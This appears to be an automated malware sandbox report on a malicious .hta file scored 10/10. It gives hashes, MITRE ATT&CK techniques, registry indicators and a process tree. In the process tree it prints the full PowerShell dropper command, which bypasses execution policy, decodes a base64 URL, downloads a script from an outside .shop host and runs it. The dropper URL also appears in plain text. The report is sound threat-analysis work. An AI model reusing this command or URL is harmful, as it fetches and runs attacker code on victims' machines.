edebb1c19818a5dc2f09d95f6852c328e9427bc460c3517b543cdf101fba7d84

Resubmissions

23-12-2024 13:11

241223-qe4yfszrgj 10

23-12-2024 12:31

241223-pqanbazjcs 10

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
23-12-2024 12:31

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General

Target

.hta
Size

722B
MD5

4f2067f591d1db46908f42c461b43bc8
SHA1

dbb6c2be0345648645105f5f8646662e319a01ba
SHA256

edebb1c19818a5dc2f09d95f6852c328e9427bc460c3517b543cdf101fba7d84
SHA512

5fde4eea4445de8ac73e510c43475b025d12d8f4e9c71e230d7b99a49efc8c6fa381bcda09295c26afb294bd67cf0a63c20f538dd3b66b702ca9f1ac75bf1c9a

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://polovoiinspektor.shop/secure/login.txt

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2332	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2332	powershell.exe
2884	chrome.exe
2884	chrome.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	2332	powershell.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe
Token: SeShutdownPrivilege	2884	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe
2884	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2068 wrote to memory of 2332	2068	mshta.exe	30
PID 2068 wrote to memory of 2332	2068	mshta.exe	30
PID 2068 wrote to memory of 2332	2068	mshta.exe	30
PID 2068 wrote to memory of 2332	2068	mshta.exe	30
PID 2884 wrote to memory of 2740	2884	chrome.exe	34
PID 2884 wrote to memory of 2740	2884	chrome.exe	34
PID 2884 wrote to memory of 2740	2884	chrome.exe	34
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 1644	2884	chrome.exe	36
PID 2884 wrote to memory of 2228	2884	chrome.exe	37
PID 2884 wrote to memory of 2228	2884	chrome.exe	37
PID 2884 wrote to memory of 2228	2884	chrome.exe	37
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38
PID 2884 wrote to memory of 584	2884	chrome.exe	38

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& {$U=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9wb2xvdm9paW5zcGVrdG9yLnNob3Avc2VjdXJlL2xvZ2luLnR4dA=='));$C=(Invoke-WebRequest -Uri $U -UseBasicParsing).Content;$B=[scriptblock]::Create($C);&$B}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2332

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2884
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6fd9758,0x7fef6fd9768,0x7fef6fd9778
  2⤵
  PID:2740
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1164 --field-trial-handle=1316,i,4599081086165976640,16713745937106483671,131072 /prefetch:2
  2⤵
  PID:1644
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1412 --field-trial-handle=1316,i,4599081086165976640,16713745937106483671,131072 /prefetch:8
  2⤵
  PID:2228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1508 --field-trial-handle=1316,i,4599081086165976640,16713745937106483671,131072 /prefetch:8
  2⤵
  PID:584
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2260 --field-trial-handle=1316,i,4599081086165976640,16713745937106483671,131072 /prefetch:1
  2⤵
  PID:2832
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2268 --field-trial-handle=1316,i,4599081086165976640,16713745937106483671,131072 /prefetch:1
  2⤵
  PID:2356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1472 --field-trial-handle=1316,i,4599081086165976640,16713745937106483671,131072 /prefetch:2
  2⤵
  PID:1848
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1452 --field-trial-handle=1316,i,4599081086165976640,16713745937106483671,131072 /prefetch:1
  2⤵
  PID:1936
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3728 --field-trial-handle=1316,i,4599081086165976640,16713745937106483671,131072 /prefetch:8
  2⤵
  PID:572

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\87ceb87e-776f-4cf5-855d-d945ca0fba08.tmp

Filesize
346KB

MD5
ab01cae97768e541a3d6db0bdee07a67

SHA1
06c74e46af4c0d808503bcaece315df97b9611a6

SHA256
7250a8991d5d321ae67ae1520321e37a8553577b75184c5a328b1fd09803823e

SHA512
32b2aa99978edbeee22c757b4fe0866e59ad25fac9650b25ec5af0e9bb280fdbe29454c6e51d6c7d9d2599917c7712e88b1d9e3e9fb408bb61b6072cc8ce7c65

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp

Filesize
16B

MD5
18e723571b00fb1694a3bad6c78e4054

SHA1
afcc0ef32d46fe59e0483f9a3c891d3034d12f32

SHA256
8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

SHA512
43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
170KB

MD5
7619247574cecf4b976622e2a4956d18

SHA1
2fab48c841c6c022b73b4e8c22e0cf813add5ee4

SHA256
bc111e73c45dfe38d26a71d0c1819c9f65df95d819c5168193e1665ea72d2553

SHA512
7e910e654184caf4078124946324ccee13d72432777d0d614d50010cc904657dcd445a9ec5d2260c6416c151ebdb39fb0318916816b24628a12cdb2e918b79ce

Download Submit
memory/2332-2-0x0000000001DB0000-0x0000000001DF0000-memory.dmp

Filesize
256KB

Download